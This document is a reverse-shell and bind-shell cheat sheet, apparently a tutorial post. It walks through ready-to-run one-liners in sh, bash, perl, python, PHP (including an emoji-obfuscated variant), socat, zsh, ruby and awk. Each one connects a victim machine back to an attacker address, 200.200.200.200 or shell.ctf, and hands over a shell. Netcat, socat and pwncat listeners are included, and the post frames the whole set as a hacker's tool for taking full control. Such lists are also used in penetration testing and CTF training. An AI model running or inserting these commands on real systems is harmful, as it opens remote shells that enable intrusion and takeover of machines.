A Reverse Shell is useful for passing through routers and firewalls that allow outbound connections but block inbound ones.

Listener: the host that receives the connection and takes control of the connected machine.

In other words, a hacker creates a listener and the victim connects back to it, giving full control.


OUT OF THE BOX

Most Linux distributions (including Ubuntu 20.04) already have the necessary tools for the following commands.

LISTENER

nc -lvnp 9001

REVERSE SHELLS

sh -i >& /dev/tcp/200.200.200.200/9001 0>&1
exec 5<>/dev/tcp/200.200.200.200/9001;cat <&5 | while read line; do $line 2>&5 >&5; done
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 200.200.200.200 9001 >/tmp/f
perl -e 'use Socket;$i="200.200.200.200";$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
export RHOST="200.200.200.200";export RPORT=9001;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("200.200.200.200",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("200.200.200.200",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
0<&196;exec 196<>/dev/tcp/200.200.200.200/9001; sh <&196 >&196 2>&196
TF=$(mktemp -u);mkfifo $TF && telnet 200.200.200.200 9001 0<$TF | sh 1>$TF

Most commands will provide a simple “# ” prompt, but the last three will not.


USING PYTHON2

Python3 comes pre-installed on most modern distributions, but if it is not available and Python2 is, use the following.

INSTALLATION

apt install python

LISTENERS

nc -lvnp 9001
ncat -lvnp 9001

REVERSE SHELLS

export RHOST="200.200.200.200";export RPORT=9001;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("200.200.200.200",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Both commands will provide a simple “# ” prompt.


USING PHP

PHP is a core component of most web servers but can also run directly in the shell.

INSTALLATION

apt install php7.4-cli

LISTENERS

nc -lvnp 9001
ncat -lvnp 9001

REVERSE SHELLS

php -r '$๐Ÿ˜€="1";$๐Ÿ˜="2";$๐Ÿ˜…="3";$๐Ÿ˜†="4";$๐Ÿ˜‰="5";$๐Ÿ˜Š="6";$๐Ÿ˜Ž="7";$๐Ÿ˜="8";$๐Ÿ˜š="9";$๐Ÿ™‚="0";$๐Ÿคข=" ";$๐Ÿค“="<";$๐Ÿค =">";$๐Ÿ˜ฑ="-";$๐Ÿ˜ต="&";$๐Ÿคฉ="i";$๐Ÿค”=".";$๐Ÿคจ="/";$๐Ÿฅฐ="a";$๐Ÿ˜="b";$๐Ÿ˜ถ="i";$๐Ÿ™„="h";$๐Ÿ˜‚="c";$๐Ÿคฃ="d";$๐Ÿ˜ƒ="e";$๐Ÿ˜„="f";$๐Ÿ˜‹="k";$๐Ÿ˜˜="n";$๐Ÿ˜—="o";$๐Ÿ˜™="p";$๐Ÿค—="s";$๐Ÿ˜‘="x";$๐Ÿ’€ = $๐Ÿ˜„. $๐Ÿค—. $๐Ÿ˜—. $๐Ÿ˜‚. $๐Ÿ˜‹. $๐Ÿ˜—. $๐Ÿ˜™. $๐Ÿ˜ƒ. $๐Ÿ˜˜;$๐Ÿš€ = "200.200.200.200";$๐Ÿ’ป = 9001;$๐Ÿš = "sh". $๐Ÿคข. $๐Ÿ˜ฑ. $๐Ÿคฉ. $๐Ÿคข. $๐Ÿค“. $๐Ÿ˜ต. $๐Ÿ˜…. $๐Ÿคข. $๐Ÿค . $๐Ÿ˜ต. $๐Ÿ˜…. $๐Ÿคข. $๐Ÿ˜. $๐Ÿค . $๐Ÿ˜ต. $๐Ÿ˜…;$๐Ÿคฃ = $๐Ÿ’€($๐Ÿš€,$๐Ÿ’ป);$๐Ÿ‘ฝ = $๐Ÿ˜ƒ. $๐Ÿ˜‘. $๐Ÿ˜ƒ. $๐Ÿ˜‚;$๐Ÿ‘ฝ($๐Ÿš);'
php -r '$sock=fsockopen("200.200.200.200",9001);exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("200.200.200.200",9001);shell_exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("200.200.200.200",9001);system("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("200.200.200.200",9001);passthru("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("200.200.200.200",9001);`sh <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("200.200.200.200",9001);popen("sh <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("200.200.200.200",9001);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Only the first command will offer a simple “# ” prompt. The others will not, and the last one will not hold the prompt on the victim’s side.


USING SOCAT

Socat is a multipurpose relay that can establish multi-directional TCP connections, similar to netcat.

INSTALLATION

apt install socat

LISTENERS

nc -lvnp 9001
ncat -lvnp 9001

REVERSE SHELLS

socat TCP:200.200.200.200:9001 EXEC:'sh',pty,stderr,setsid,sigint,sane
socat TCP:200.200.200.200:9001 EXEC:sh

The first command will provide a simple “# ” prompt.


USING ZSH

INSTALLATION

apt install zsh

LISTENERS

nc -lvnp 9001
ncat -lvnp 9001

REVERSE SHELLS

zsh -c 'zmodload zsh/net/tcp && ztcp 200.200.200.200 9001 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Unfortunately, this will not offer any prompt.


ADDITIONAL LISTENERS

FOR LINUX

rlwrap -cAr nc -lvnp 9001
socat -d -d TCP-LISTEN:9001 STDOUT
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat > pwncat.py
chmod +x pwncat.py
pwncat -l 9001
pwncat -l 9001 --self-inject /bin/bash:127.0.0.1:4444,4445,4446,4447
pwncat -l 9001 --self-inject /bin/bash:127.0.0.1:4444-4447
pwncat -l 9001 --self-inject /bin/bash:127.0.0.1:4444+3

FOR WINDOWS

stty raw -echo; (stty size; cat) | nc -lvnp 9001

FOR MAC

brew install pwncat
python3 -m pwncat -lp 9001

BIND SHELLS

Bind shells are the opposite of reverse shells. The target host listens on a port and waits for an incoming connection.

BIND (LISTENERS)

python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",9001));s1.listen(1);c,a=s1.accept();while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",9001);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'

CONNECTION

nc 200.200.200.200 9001

IPv6

This may seem straightforward, but it is not. During the 2025 NSEC CTF Competition, an IPv6-only environment revealed that many popular hacking tools are not prepared for it.

Listener

socat -d -d TCP-LISTEN:1337 STDOUT

Victim

# Socat
socat TCP:shell.ctf:1337 EXEC:sh
socat TCP:shell.ctf:1337 EXEC:'sh',pty,stderr,setsid,sigint,sane
# BusyBox NetCat
busybox nc shell.ctf 1337 -e sh
# PHP
php -r '$sock=fsockopen("shell.ctf",1337);exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("shell.ctf",1337);shell_exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("shell.ctf",1337);system("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("shell.ctf",1337);passthru("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("shell.ctf",1337);`sh <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("shell.ctf",1337);popen("sh <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("shell.ctf",1337);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
# Ruby
ruby -rsocket -e'exit if fork;c=TCPSocket.new("shell.ctf","1337");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
# AWK
awk 'BEGIN {s = "/inet/tcp/0/shell.ctf/1337"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Note: Using a DNS name makes things much easier because the : characters in an IPv6 address can conflict with the :<PORT> separator. If DNS is not an option, wrap the IPv6 address in square brackets (e.g., [fe80::3a07:ba07:63c4:9a36]).


BONUS

See the repository with automation for a growing list of listeners and reverse shell commands at [Link].

You can also use the following command to import pty and spawn a real shell:

python -c 'import pty; pty.spawn("/bin/bash")'